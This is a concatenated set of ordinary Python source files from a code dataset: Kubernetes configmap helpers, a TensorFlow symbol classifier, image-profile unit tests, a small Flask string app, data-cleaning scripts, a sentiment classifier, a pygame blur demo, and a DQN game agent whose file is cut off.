logger.info(\"configmap named {0} is updated.\".format(name))\n\n except ApiException as e:\n\n if e.status == 404:\n\n try:\n logger.info(\"Couldn't find configmap named {0}. Create a new configmap\".format(name))\n api_response = api_instance.create_namespaced_config_map(namespace, body)\n logger.info(\"Configmap named {0} is created\".format(name))\n\n except ApiException as ie:\n logger.error(\"Exception when calling CoreV1Api->create_namespaced_config_map: {0}\".format(str(e)))\n sys.exit(1)\n\n else:\n logger.error(\"Exception when calling CoreV1Api->replace_namespaced_config_map: {0}\".format(str(e)))\n sys.exit(1)\n\n\n\ndef get_cluster_id(PAI_KUBE_CONFIG_DEFAULT_LOCATION):\n\n resp = get_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, \"pai-cluster-id\")\n if resp == None:\n return None\n\n # return a string\n return resp[\"data\"][\"cluster-id\"]\n\n\n\ndef update_cluster_id(PAI_KUBE_CONFIG_DEFAULT_LOCATION, cluster_id):\n\n data_dict = dict()\n data_dict[\"cluster-id\"] = cluster_id\n update_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, \"pai-cluster-id\", data_dict)\n\n\n\ndef get_conf_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION):\n\n resp = get_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, \"pai-configuration\")\n if resp == None:\n return None\n\n # return a dict\n return resp[\"data\"]\n\n\n\ndef update_conf_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, conf_data_dict):\n\n update_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, \"pai-configuration\", conf_data_dict)\n\n\n\n","sub_path":"pai-management/confStorage/conf_storage_util.py","file_name":"conf_storage_util.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"636795091","text":"# A small convolutional neural network with 2 conv layers, 2 pooling layers, 1 fully connected layer, and 1 output layer from MNIST tensorflow tutorials (strides of 1)\n# CNN takes 32x32 image as input into 5x5 128 outputs into 5x5 256 outputs then fully connect layer connects the 1024 input into a guess between 40 classes\n# During Training, CNN applies a 0.65 dropout to prevent overfitting\n# Trains with AdamOptimizer for 200000 iterations on mnist testing images, Accuracy determined by comparing guess of the digit with its label, then saves model in current direc\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport glob\nimport sys\nimport os\nimport re\n\nimport numpy\nimport skimage.transform\n\n\n# Parameters\nimport fileread\n\nlearning_rate = 0.001\nbatch_size = 128\ndisplay_step = 10\n\n# Network Parameters\nn_input = 1024 # data input (img shape: 32*32)\nn_classes = 40 # total classes (40 symbols)\ndropout = 0.65 # Dropout, probability to keep units\n\n# tf Graph input\nx = tf.placeholder(tf.float32, [None, n_input])\ny = tf.placeholder(tf.float32, [None, n_classes])\n\nkeep_prob = tf.placeholder(tf.float32) # dropout (keep probability)\n\n\n# Create some wrappers for simplicity\ndef conv2d(x, W, b, strides=1):\n # Conv2D wrapper, with bias and relu activation\n x = tf.nn.conv2d(x, W, strides=[1, strides, strides, 1], padding='SAME')\n x = tf.nn.bias_add(x, b)\n return tf.nn.relu(x)\n\n\ndef maxpool2d(x, k=2):\n # MaxPool2D wrapper\n return tf.nn.max_pool(x, ksize=[1, k, k, 1], strides=[1, k, k, 1],\n padding='SAME')\n\n\n# Create model\ndef conv_net(x, weights, biases, dropout):\n # Convolution Layer\n x = tf.reshape(x, shape=[-1, 32, 32, 1])\n conv1 = conv2d(x, weights['wc1'], biases['bc1'])\n # Max Pooling (down-sampling)\n conv1 = maxpool2d(conv1, k=2)\n\n # Convolution Layer\n conv2 = conv2d(conv1, weights['wc2'], biases['bc2'])\n # Max Pooling (down-sampling)\n conv2 = maxpool2d(conv2, k=2)\n\n # Fully connected layer\n # Resh ape conv2 output to fit fully connected layer input\n fc1 = tf.reshape(conv2, [-1, weights['wd1'].get_shape().as_list()[0]])\n fc1 = tf.add(tf.matmul(fc1, weights['wd1']), biases['bd1'])\n fc1 = tf.nn.relu(fc1)\n # Apply Dropout\n fc1 = tf.nn.dropout(fc1, dropout)\n\n # Output, class prediction\n out = tf.add(tf.matmul(fc1, weights['out']), biases['out'])\n return out\n\n\n# Store layers weight & bias\nweights = {\n # 5x5 conv, 1 input, 128 outputs\n 'wc1': tf.Variable(tf.random_normal([5, 5, 1, 128])),\n # 5x5 conv, 128 inputs, 256 outputs\n 'wc2': tf.Variable(tf.random_normal([5, 5, 128, 256])),\n # fully connected, 7*7*256 inputs, 1024 outputs\n 'wd1': tf.Variable(tf.random_normal([8 * 8 * 256, 1024])),\n # 1024 inputs, 40 outputs (class prediction)\n 'out': tf.Variable(tf.random_normal([1024, n_classes]))\n}\n\nbiases = {\n 'bc1': tf.Variable(tf.random_normal([128])),\n 'bc2': tf.Variable(tf.random_normal([256])),\n 'bd1': tf.Variable(tf.random_normal([1024])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n}\n\n# Construct model\npred = conv_net(x, weights, biases, keep_prob)\n\n# Define loss and optimizer\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\n# Evaluate model\ncorrect_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n# Initializing the variables\ninit = tf.global_variables_initializer()\n\n# Launch the graph\ndef main():\n sess = tf.InteractiveSession()\n tf.global_variables_initializer().run()\n saver = tf.train.Saver()\n\n sets = fileread.readsets()\n\n step = 1\n\n while step * batch_size < 150000:\n\n batch_x, batch_y = sets[0].next_batch(batch_size)\n\n\n # Run optimization op (backprop)\n sess.run(optimizer, feed_dict={x: batch_x, y: batch_y,\n keep_prob: dropout})\n\n if step % display_step == 0:\n # Calculate batch loss and accuracy\n loss, acc = sess.run([cost, accuracy], feed_dict={x: batch_x,\n y: batch_y,\n keep_prob: 1.})\n print(\"Iter \" + str(step * batch_size) + \", Minibatch Loss= \" + \\\n \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \\\n \"{:.5f}\".format(acc))\n step += 1\n print(\"Optimization Finished!\")\n\n # Calculate accuracy for test images\n print(\"Testing Accuracy:\", sess.run(accuracy, feed_dict={x: sets[1].images[:80], y: sets[1].labels[:80], keep_prob: 1.}))\n\n print(\"\")\n save_path = saver.save(sess, os.getcwd() + os.sep + \"model.ckpt\")\n print(\"Model saved in file: %s\" % save_path)\n\n#Output an array of predicted symbols from an array of images of symbols\ndef predictsymbols(imagearray):\n\n #Restore session\n sess = tf.InteractiveSession()\n tf.global_variables_initializer().run()\n saver = tf.train.Saver()\n saver.restore(sess, os.getcwd() + os.sep + \"model.ckpt\")\n\n test = tf.placeholder(tf.float32, [None, 1024])\n mod = conv_net(test, weights, biases, 1.)\n\n #Run predictions\n guesslabel = sess.run(tf.argmax(mod, 1), feed_dict={test: imagearray})\n\n symbols = []\n\n for i in range(0, len(guesslabel)):\n symbols.append(fileread.index2sym(guesslabel[i]))\n\n return symbols\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"268902504","text":"from unittest import TestCase\n\nimport numpy as np\nimport scipy.signal as sps\n\nfrom pylinac.core import image\nfrom pylinac.core.image_generator.simulators import Simulator\nfrom pylinac.core.profile import SingleProfile, MultiProfile, CircleProfile, CollapsedCircleProfile, Normalization, \\\n Interpolation\nfrom tests_basic.utils import get_file_from_cloud_test_repo\n\n\ndef generate_open_field(field_size=(100, 100), sigma=2, center=(0, 0)) -> Simulator:\n from pylinac.core.image_generator import AS1000Image\n from pylinac.core.image_generator.layers import FilteredFieldLayer, GaussianFilterLayer\n\n as1000 = AS1000Image() # this will set the pixel size and shape automatically\n as1000.add_layer(FilteredFieldLayer(field_size_mm=field_size, cax_offset_mm=center)) # create a 50x50mm square field\n as1000.add_layer(GaussianFilterLayer(sigma_mm=sigma)) # add an image-wide gaussian to simulate penumbra/scatter\n return as1000\n\n\nclass SingleProfileTests(TestCase):\n\n def test_normalization(self):\n array = np.random.rand(1, 100).squeeze()\n\n # don't apply normalization\n max_v = array.max()\n p = SingleProfile(array, normalization_method=Normalization.NONE, interpolation=Interpolation.NONE, ground=False)\n self.assertEqual(max_v, p.values.max())\n\n # apply max norm\n p = SingleProfile(array, normalization_method=Normalization.MAX, interpolation=Interpolation.NONE)\n self.assertEqual(1.0, p.values.max())\n\n # passing parameter as str\n p = SingleProfile(array, normalization_method='Max', interpolation=Interpolation.NONE)\n self.assertEqual(1.0, p.values.max())\n\n # make sure interpolation doesn't affect the norm\n p = SingleProfile(array, normalization_method=Normalization.MAX, interpolation=Interpolation.LINEAR)\n self.assertEqual(1.0, p.values.max())\n\n # test out a real field\n field = generate_open_field()\n p = SingleProfile(field.image[:, 500], normalization_method=Normalization.MAX)\n self.assertEqual(1.0, p.values.max())\n\n # filtered beam center is less than max value\n p = SingleProfile(field.image[:, 500], normalization_method=Normalization.BEAM_CENTER)\n self.assertGreaterEqual(p.values.max(), 1.0)\n\n def test_beam_center(self):\n # centered field\n field = generate_open_field()\n p = SingleProfile(field.image[:, int(field.shape[1]/2)], interpolation=Interpolation.NONE)\n self.assertAlmostEqual(p.beam_center()['index (exact)'], field.shape[0]/2, delta=1)\n\n # offset field\n field = generate_open_field(center=(10, 10))\n p = SingleProfile(field.image[:, int(field.shape[1]/2)], interpolation=Interpolation.NONE)\n self.assertAlmostEqual(p.beam_center()['index (exact)'], 422, delta=1)\n\n def test_geometric_center(self):\n # centered field\n field = generate_open_field()\n p = SingleProfile(field.image[:, int(field.shape[1]/2)], interpolation=Interpolation.NONE)\n self.assertAlmostEqual(p.geometric_center()['index (exact)'], field.shape[0]/2, delta=1)\n\n # offset field should still be centered\n field = generate_open_field(center=(20, 20))\n p = SingleProfile(field.image[:, int(field.shape[1]/2)], interpolation=Interpolation.NONE)\n self.assertAlmostEqual(p.geometric_center()['index (exact)'], field.shape[0]/2, delta=1)\n\n def test_interpolation(self):\n # centered field\n field = generate_open_field()\n # no interp\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=Interpolation.NONE)\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)]))\n\n # interp as str\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=None)\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)]))\n\n # linear interp\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=Interpolation.LINEAR, interpolation_factor=10)\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)])*10)\n\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=Interpolation.LINEAR,\n dpmm=1/field.pixel_size, interpolation_resolution_mm=0.1)\n # right length\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)])*field.pixel_size/0.1)\n # right dpmm\n self.assertEqual(p.dpmm, 10)\n\n # spline interp\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=Interpolation.SPLINE, interpolation_factor=10)\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)])*10)\n\n p = SingleProfile(field.image[:, int(field.shape[1] / 2)], interpolation=Interpolation.SPLINE,\n dpmm=1/field.pixel_size, interpolation_resolution_mm=0.1)\n # right length\n self.assertEqual(len(p.values), len(field.image[:, int(field.shape[1] / 2)])*field.pixel_size/0.1)\n # right dpmm\n self.assertEqual(p.dpmm, 10)\n\n\nclass MultiProfileTestMixin:\n\n values = np.ndarray\n peak_max_idxs = (0,)\n valley_max_idxs = (0,)\n peak_fwxm_idxs = (0,)\n subdivide_fwxm_centers = (0,)\n\n @classmethod\n def setUpClass(cls):\n cls.profile = MultiProfile(cls.values)\n\n def test_find_peaks(self):\n peaks, _ = self.profile.find_peaks()\n for peak, known_peak in zip(peaks, self.peak_max_idxs):\n self.assertAlmostEqual(peak, known_peak, delta=1)\n\n def test_find_fwxm_peaks(self):\n peak_idxs, _ = self.profile.find_fwxm_peaks()\n for peak, known_peak in zip(peak_idxs, self.peak_fwxm_idxs):\n self.assertAlmostEqual(peak, known_peak, delta=1)\n\n def test_find_valleys(self):\n valleys, _ = self.profile.find_valleys()\n for valley, known_valley in zip(valleys, self.valley_max_idxs):\n self.assertAlmostEqual(valley, known_valley, delta=1)\n\n\nclass MultiProfileTriangle(MultiProfileTestMixin, TestCase):\n\n x_values = np.linspace(0, 8*np.pi, num=200)\n values = sps.sawtooth(x_values, width=0.5)\n valley_max_idxs = (50, 100, 150)\n peak_max_idxs = (25, 75, 125, 175)\n peak_fwxm_idxs = (25, 75, 125, 175)\n\n def test_ground_profile(self):\n \"\"\"Test that the profile is properly grounded to 0.\"\"\"\n p = MultiProfile(self.values)\n # the minimum shouldn't be zero to start with\n self.assertFalse(p.values.min() == 0)\n # but it should be after grounding\n p.ground()\n self.assertTrue(p.values.min() == 0)\n\n\nclass CircleProfileTestMixin:\n klass = CircleProfile\n image_file_location = get_file_from_cloud_test_repo(['Starshot', 'Starshot-1.tif'])\n radius = 300\n peak_idxs = (0,)\n valley_idxs = (0,)\n fwxm_peak_idxs = (0,)\n center_point = (507, 650)\n\n @classmethod\n def setUpClass(cls):\n img = image.load(cls.image_file_location)\n cls.profile = cls.klass(cls.center_point, cls.radius, img.array)\n cls.profile.filter(size=0.01, kind='gaussian')\n\n def test_locations(self):\n first_x_location = self.profile.radius + self.profile.center.x\n self.assertAlmostEqual(first_x_location, self.profile.x_locations[0], delta=1)\n\n def test_peak_idxs(self):\n for known, meas in zip(self.peak_idxs, self.profile.find_peaks()[0]):\n self.assertAlmostEqual(known, meas, delta=1)\n\n def test_valley_idxs(self):\n for known, meas in zip(self.valley_idxs, self.profile.find_valleys(min_distance=0.08)[0]):\n self.assertAlmostEqual(known, meas, delta=1)\n\n def test_fwxm_peak_idxs(self):\n for known, meas in zip(self.fwxm_peak_idxs, self.profile.find_fwxm_peaks()[0]):\n self.assertAlmostEqual(known, meas, delta=1)\n\n def test_add_to_axes(self):\n # shouldn't raise\n self.profile.plot2axes()\n\n\nclass CircleProfileStarshot(CircleProfileTestMixin, TestCase):\n\n peak_idxs = [219, 480, 738, 984, 1209, 1421, 1633, 1864]\n valley_idxs = [95, 348, 607, 860, 1098, 1316, 1527, 1743]\n fwxm_peak_idxs = [218, 480, 738, 984, 1209, 1421, 1633, 1864]\n\n\nclass CollapsedCircleProfileStarshot(CircleProfileTestMixin, TestCase):\n\n klass = CollapsedCircleProfile\n peak_idxs = [241, 529, 812, 1084, 1331, 1563, 1797, 2051]\n valley_idxs = [104, 397, 667, 946, 1210, 1451, 1680, 1916]\n fwxm_peak_idxs = [241, 529, 812, 1084, 1331, 1563, 1797, 2052]\n","sub_path":"tests_basic/core/test_profile.py","file_name":"test_profile.py","file_ext":"py","file_size_in_byte":8551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"109145754","text":"from flask import Flask, abort, request, make_response, jsonify\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\", methods=[\"GET\"])\r\ndef index():\r\n return \"

Hello

\"\r\n\r\n@app.route(\"/challenge\", methods=[\"POST\"])\r\ndef challenge():\r\n nameF = request.form.get(\"nameF\")\r\n str_in = request.form.get(\"str_in\")\r\n if nameF == \"stringClean\":\r\n return jsonify(stringClean(str_in))\r\n elif nameF ==\"maxBlock\":\r\n return jsonify(maxBlock(str_in))\r\n elif nameF == \"reorderBlock\":\r\n return jsonify(reorderBlock(str_in))\r\n else:\r\n abort(404)\r\n\r\n\r\n@app.errorhandler(404)\r\ndef not_found(error):\r\n return make_response(jsonify({'error': 'Sorry!! We don\\'t have this function~ Woo-Woo T_T'}), 404)\r\n\r\n\r\n\r\n@app.route(\"/stringClean/\")\r\ndef stringClean(str_in):\r\n if str_in == '':\r\n print(str_in)\r\n return str_in\r\n else:\r\n a_l = list(str_in)\r\n str_new = ''\r\n for c in a_l:\r\n if str_new == '':\r\n str_new += c\r\n if c == str_new[len(str_new) - 1]:\r\n pass\r\n else:\r\n str_new = str_new + c\r\n\r\n print(str_new)\r\n return str_new\r\n\r\n\r\n@app.route(\"/maxBlock/\")\r\ndef maxBlock(str_in):\r\n if str_in == \"\":\r\n print(0)\r\n return 0\r\n else:\r\n a_l = list(str_in)\r\n max = 0\r\n count = 1\r\n str_new = \"\"\r\n for c in a_l:\r\n if str_new == \"\":\r\n str_new += c\r\n else:\r\n if c == str_new[len(str_new) - 1]:\r\n count += 1\r\n if count > max:\r\n max = count\r\n else:\r\n count = 1\r\n str_new += c\r\n\r\n print(max)\r\n return max\r\n\r\n\r\n@app.route(\"/reorderBlock/\")\r\ndef reorderBlock(str_in):\r\n string_list = list(str_in)\r\n # 把所有字符都变为小写,以对的形式存在新list中\r\n xiaoxie_list = [(x.lower(), x) for x in string_list]\r\n\r\n # 按大小写排序\r\n xiaoxie_list.sort()\r\n\r\n # 把原本的值按照小写的排序顺序print出来\r\n new_list = [x[1] for x in xiaoxie_list]\r\n\r\n # 合并为字符串\r\n str_new = \"\".join(new_list)\r\n print(str_new)\r\n return str_new\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"8250610","text":"def cheese_and_crackers(cheese_count, boxes_of_crackers):\n\tprint(\"You have {} cheeses!\".format(cheese_count))\n\tprint(\"You have {} boxes of crackers!\".format(boxes_of_crackers))\n\tprint(\"Man that's enough for a party!\")\n\tprint(\"Get a blanket.\\n\")\n\t\ndef leftover_crackers(cheese_count, boxes_of_crackers):\n\tleftovers = boxes_of_crackers - cheese_count\n\tprint(\"The party is over and there are {} boxes of crackers left!\\n\".format(leftovers))\n\n# Calling the function by adding numbers directly\nprint(\"We can just give the function numbers directly:\")\ncheese_and_crackers(20, 30)\nleftover_crackers(20, 30)\n\n# Calling the function by creating variables containing the values\n# we want to use in the function\nprint(\"OR, we can use variables from our script:\")\namount_of_cheese = 10\namount_of_crackers = 50\ncheese_and_crackers(amount_of_cheese, amount_of_crackers)\nleftover_crackers(amount_of_cheese, amount_of_crackers)\n\n# We can use math directly in the function call too\nprint(\"We can even do math inside too:\")\ncheese_and_crackers(10 + 2, 5 + 6)\nleftover_crackers(10 + 2, 5 + 6)\n\n# Combining variables and math works as well\nprint(\"And we can combine the two, variables and math:\")\ncheese_and_crackers(amount_of_cheese + 100, amount_of_crackers + 1000)\nleftover_crackers(amount_of_cheese + 100, amount_of_crackers + 1000)\n\n# We can grab input from the user and add to the function call\nprint(\"Grabbing the numbers from the user works too:\")\ncheese_number = input(\"How many cheeses? \")\ncracker_number = input(\"How many boxes of crackers? \")\ncheese_and_crackers(int(cheese_number), int(cracker_number))\nleftover_crackers(int(cheese_number), int(cracker_number))","sub_path":"ex19_1.py","file_name":"ex19_1.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"318953251","text":"import os\ndirectory = './individual_stocks_5yr/'\nforcastFile = open('forcast-relation.txt', 'w')\n\n\nfile1 = open('date-relation.txt','r')\nlines = file1.readlines()\ndates ={}\nfor line_index, line in enumerate(lines):\n [dateId, month, day, year] = line.split(\",\")\n if(len(month) == 1):\n month = '0' + month\n if(len(day) == 1):\n day = '0' + day\n date = year.strip()+'-'+month+'-'+day\n if date not in dates:\n dates[date] = len(dates) + 1\n\nfile2 = open('weather2.csv')\nlines = file2.readlines()\nlines.pop(0) #remove head of csv file with attribute names\ncleanedForcastLines = []\nfor line_index, line in enumerate(lines):\n\n line_split = line.split(\",\")[1:-1]\n line_split.pop(2)\n date = line_split[0][1:-1]\n\n # print(date)\n if date in dates:\n line_split[0] = str(dates[date])\n line_split[1] = line_split[1][1:-1]\n line_split[2]= line_split[2][1:-1]\n line_split[3]= line_split[3][1:-1]\n cleanedForcastLines.append(\",\".join(line_split) + '\\n')\n\nforcastFile.writelines(cleanedForcastLines)\n\n\n ","sub_path":"data-cleaning/get_forcast_relation.py","file_name":"get_forcast_relation.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358687582","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author:XuMing(xuming624@qq.com)\n@description: \n\"\"\"\n\nfrom pysenti.bayes import Bayes\nfrom pysenti.compat import strdecode\nfrom pysenti.tokenizer import segment\nfrom pysenti.utils import filter_stop\n\n\nclass ModelClassifier(object):\n def __init__(self, model_path):\n self.classifier = Bayes()\n self.model_path = model_path\n self.inited = False\n\n def save(self):\n self.classifier.save(self.model_path)\n\n def load(self):\n self.classifier.load(self.model_path)\n self.inited = True\n\n def handle(self, doc):\n words = segment(doc)\n words = filter_stop(words)\n return words\n\n def train(self, neg_docs, pos_docs):\n data = []\n for sent in neg_docs:\n data.append([self.handle(sent), 'neg'])\n for sent in pos_docs:\n data.append([self.handle(sent), 'pos'])\n self.classifier.train(data)\n\n def classify(self, text):\n \"\"\"\n sentiment classification text\n :param text: text, str\n :return: \"positive_prob\": 0.0,\n \"negative_prob\": 0.0\n dict\n \"\"\"\n if not self.inited:\n self.load()\n result = {\"positive_prob\": 0.0, \"negative_prob\": 0.0}\n text = strdecode(text)\n ret, prob = self.classifier.classify(self.handle(text))\n if ret == 'pos':\n result[\"positive_prob\"] = round(prob, 3)\n result[\"negative_prob\"] = round(1 - prob, 3)\n elif ret == 'neg':\n result[\"positive_prob\"] = round(1 - prob, 3)\n result[\"negative_prob\"] = round(prob, 3)\n else:\n raise ValueError(\"unknown class id.\")\n return result\n\n\nif __name__ == '__main__':\n model = ModelClassifier('./data/sentiment_model.pkl')\n a_sentence = ['剁椒鸡蛋好难吃。绝对没人受得了',\n '土豆丝很好吃', '土豆丝很难吃',\n '这笔钱是个天文数字',\n '我一会儿出去玩了,你吃啥?给你带']\n for i in a_sentence:\n r = model.classify(i)\n print(i, r)\n","sub_path":"pysenti/model_classifier.py","file_name":"model_classifier.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"169478748","text":"\"\"\" pixel_array09_blur.py \"\"\"\nimport sys\nimport pygame\nfrom pygame.locals import QUIT\n\npygame.init()\nSURFACE = pygame.display.set_mode((250, 250))\nFPSCLOCK = pygame.time.Clock()\n\ndef process_pixels(src_data, dst_data):\n \"\"\" process pixels \"\"\"\n power = 2\n\n for ypos in range(0, 250):\n for xpos in range(0, 250):\n r_total, g_total, b_total = 0, 0, 0\n colors = 0\n\n for diff_y in range(-power, power+1):\n for diff_x in range(-power, power+1):\n (pos_x, pos_y) = (xpos + diff_x, ypos + diff_y)\n if 0 <= pos_x < 250 and 0 <= pos_y < 250:\n val = src_data[pos_x][pos_y]\n rval, gval, bval, _ = SURFACE.unmap_rgb(val)\n r_total += rval\n g_total += gval\n b_total += bval\n colors += 1\n\n rval = int(r_total / colors)\n gval = int(g_total / colors)\n bval = int(b_total / colors)\n dst_data[xpos][ypos] = (rval, gval, bval)\n\ndef main():\n \"\"\" main routine \"\"\"\n src = pygame.image.load(\"picture0.jpg\").convert()\n dst = pygame.Surface((250, 250))\n src_data = pygame.PixelArray(src)\n dst_data = pygame.PixelArray(dst)\n process_pixels(src_data, dst_data)\n del src_data\n del dst_data\n\n while True:\n for _ in pygame.event.get(QUIT):\n pygame.quit()\n sys.exit()\n SURFACE.blit(dst, (0, 0))\n pygame.display.update()\n\nif __name__ == '__main__':\n main()\n","sub_path":"PythonMathSamples/pixels/pixel_array09_blur.py","file_name":"pixel_array09_blur.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"538129254","text":"from agent_dir.agent import Agent\nimport tensorflow as tf \nimport numpy as np \nimport random\nfrom collections import deque\nimport os\nimport cv2\nfrom skimage.color import rgb2gray\nfrom skimage.transform import resize\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\n# Hyper Parameters:\nFRAME_PER_ACTION = 1\n\nGAMMA = 0.99 # decay rate of past observations\n\nOBSERVE = 50000. # timesteps to observe before training\nEXPLORE = 1000000. # frames over which to anneal epsilon\n\nFINAL_EPSILON = 0.1#0.001 # final value of epsilon\nINITIAL_EPSILON = 1.0#0.01 # starting value of epsilon\n\nREPLAY_MEMORY = 100000 # number of previous transitions to remember\nBATCH_SIZE = 32 # size of minibatch\nUPDATE_TIME = 10000\nNUM_EPISODES = 100000\nMAX_NUM_STEPS = 10000\n\nclass Agent_DQN(Agent):\n def __init__(self, env, args):\n \"\"\"\n Initialize every things you need here.\n For example: building your model\n \"\"\"\n\n super(Agent_DQN,self).__init__(env)\n\n \n\n self.env = env\n self.args = args\n # init replay memory\n self.replayMemory = deque()\n # init some parameters\n self.timeStep = 0\n self.epsilon = INITIAL_EPSILON\n self.actions = env.action_space.n\n self.duelDQN = False\n self.doubleDQN = True\n # init Q network\n if self.duelDQN: \n self.stateInput,self.QValue,self.W_conv1,self.b_conv1,self.W_conv2,self.b_conv2,self.W_conv3,self.b_conv3,self.W_fc1,self.b_fc1,self.W_fc2,self.b_fc2, self.w_v, self.b_v, self.w_a, self.b_a = self.createQNetwork()\n # init Target Q Network\n self.stateInputT,self.QValueT,self.W_conv1T,self.b_conv1T,self.W_conv2T,self.b_conv2T,self.W_conv3T,self.b_conv3T,self.W_fc1T,self.b_fc1T,self.W_fc2T,self.b_fc2T, self.w_vT, self.b_vT, self.w_aT, self.b_aT = self.createQNetwork()\n self.copyTargetQNetworkOperation = [self.W_conv1T.assign(self.W_conv1),self.b_conv1T.assign(self.b_conv1),self.W_conv2T.assign(self.W_conv2),self.b_conv2T.assign(self.b_conv2),self.W_conv3T.assign(self.W_conv3),self.b_conv3T.assign(self.b_conv3),self.W_fc1T.assign(self.W_fc1),self.b_fc1T.assign(self.b_fc1),self.W_fc2T.assign(self.W_fc2),self.b_fc2T.assign(self.b_fc2),self.w_vT.assign(self.w_v),self.b_vT.assign(self.b_v),self.w_aT.assign(self.w_a),self.b_aT.assign(self.b_a)]\n self.createTrainingMethod()\n else:\n self.stateInput,self.QValue,self.W_conv1,self.b_conv1,self.W_conv2,self.b_conv2,self.W_conv3,self.b_conv3,self.W_fc1,self.b_fc1,self.W_fc2,self.b_fc2 = self.createQNetwork()\n # init Target Q Network\n self.stateInputT,self.QValueT,self.W_conv1T,self.b_conv1T,self.W_conv2T,self.b_conv2T,self.W_conv3T,self.b_conv3T,self.W_fc1T,self.b_fc1T,self.W_fc2T,self.b_fc2T = self.createQNetwork()\n self.copyTargetQNetworkOperation = [self.W_conv1T.assign(self.W_conv1),self.b_conv1T.assign(self.b_conv1),self.W_conv2T.assign(self.W_conv2),self.b_conv2T.assign(self.b_conv2),self.W_conv3T.assign(self.W_conv3),self.b_conv3T.assign(self.b_conv3),self.W_fc1T.assign(self.W_fc1),self.b_fc1T.assign(self.b_fc1),self.W_fc2T.assign(self.W_fc2),self.b_fc2T.assign(self.b_fc2)]\n self.createTrainingMethod()\n # saving and loading networks\n self.saver = tf.train.Saver()\n self.session = tf.InteractiveSession()\n self.session.run(tf.global_variables_initializer())\n checkpoint = tf.train.get_checkpoint_state(\"saved_networks\")\n if checkpoint and checkpoint.model_checkpoint_path:\n self.saver.restore(self.session, checkpoint.model_checkpoint_path)\n print(\"Successfully loaded:\", checkpoint.model_checkpoint_path)\n else:\n print(\"Could not find old network weights\")\n if args.test_dqn:\n #you can load your model here\n if self.duelDQN:\n print('loading trained duelDQN model')\n model_file = tf.train.latest_checkpoint(\"./duel_save_model\")\n # model_file = \"./test_model/tf_DQN-15240000\"\n self.saver.restore(self.session, model_file)\n print(\"Model restored.\")\n else:\n print('loading trained model')\n model_file = tf.train.latest_checkpoint(\"./save_model\")\n # model_file = \"./test_model/tf_DQN-15240000\"\n self.saver.restore(self.session, model_file)\n print(\"Model restored.\")\n\n def init_game_setting(self):\n \"\"\"\n Testing function will call this function at the begining of new game\n Put anything you want to initialize if necessary\n \"\"\"\n ##################\n # YOUR CODE HERE #\n ##################\n pass\n\n def createQNetwork(self):\n # network weights\n W_conv1 = self.weight_variable([8,8,4,32])\n b_conv1 = self.bias_variable([32])\n\n W_conv2 = self.weight_variable([4,4,32,64])\n b_conv2 = self.bias_variable([64])\n\n W_conv3 = self.weight_variable([3,3,64,64])\n b_conv3 = self.bias_variable([64])\n\n W_fc1 = self.weight_variable([3136,512])\n b_fc1 = self.bias_variable([512])\n\n W_fc2 = self.weight_variable([512,self.actions])\n b_fc2 = self.bias_variable([self.actions])\n\n w_v = self.weight_variable([512,1])\n b_v = self.bias_variable([1,1])\n\n w_a = self.weight_variable([512,self.actions])\n b_a = self.bias_variable([self.actions])\n # input layer\n\n stateInput = tf.placeholder(\"float\",[None,84,84,4])\n\n # hidden layers\n h_conv1 = tf.nn.relu(self.conv2d(stateInput,W_conv1,4) + b_conv1)\n #h_pool1 = self.max_pool_2x2(h_conv1)\n\n h_conv2 = tf.nn.relu(self.conv2d(h_conv1,W_conv2,2) + b_conv2)\n\n h_conv3 = tf.nn.relu(self.conv2d(h_conv2,W_conv3,1) + b_conv3)\n h_conv3_shape = h_conv3.get_shape().as_list()\n print 